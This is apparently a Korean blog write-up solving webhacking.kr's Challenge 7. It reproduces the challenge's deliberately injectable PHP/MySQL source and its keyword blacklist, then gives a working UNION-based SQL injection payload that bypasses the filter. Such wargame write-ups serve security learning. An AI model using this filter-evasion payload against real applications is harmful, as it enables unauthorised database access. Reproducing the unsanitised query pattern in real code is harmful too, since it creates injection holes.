https://min-zero.tistory.com/entry/webhackingkr-challengeold-old-06-1
Challenge7에 Admin page라는 글씨와 auth버튼, val이라는 변수가 있다.
아래 view-source를 누르면 소스코드를 확인할 수 있다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 7</title>
</head>
<body>
<?php
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
$db = dbconnect();
$rand=rand(1,5);
if($rand==1){
$result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
$result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
$result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
$result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
$result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
solve(7);
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
val이라는 변수의 값을 get방식을 통해 go에 옮겨 담는다.
val의 값을 수정하지 않으면 1이 go에 들어가므로 if문이 거짓이 되면서 'index.php?val=1'로 refresh된다. (처음화면)
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
preg_match함수에 의해 2, -, +, from, _, =, \\s, \*, \/가 필터링된다.
$rand=rand(1,5);
if($rand==1){
$result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
$result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
$result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
$result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
$result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
1~5를 랜덤으로 받아 위 5가지 중 하나의 query를 전달한다.
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
solve(7);
}
$result에 결과값이 반환됐고, 그 값이 2라면 문제가 해결된다.
따라서 $data[0]==2가 되어야 문제를 해결할 수 있고, 그럴러면 $result가 2가 돼야 한다.
$rand에 따라 db에 전달되는 쿼리가 달라지는데, 이때 $rand가 1일때의 query를 기준으로 해결해봤다.
일단 val에 직접적으로 2가 들어가면 안된다.
간접적으로 2를 표현해야 하는데, 필자는 아스키코드로 2를 표현하기 위해 char()함수를 사용했다.
char(50)을 val에 넣어주고 실행해봤다.
결과는 query error.
아무래도 다른 방법으로 시도해봐야 할 것 같다.
이번엔 union을 사용하는 방법으로 시도해봤다.
lv=($go)에서 괄호안을 false로 만들어주고, 뒤에 union으로 select 2로 합쳤다.
?val=0)union(select(char(50)))%23
Challenge 7 해결!
'Study > Web Hacking' 카테고리의 다른 글
[Webhacking.kr] old-03 (0) | 2021.09.18 |
---|---|
[Webhacking.kr] old-05 (0) | 2021.09.11 |
[natas] Level 26 -> Level 27 (0) | 2021.08.24 |
[LOS] nightmare (0) | 2021.08.24 |
[natas] Level 25 -> Level 26 (0) | 2021.08.22 |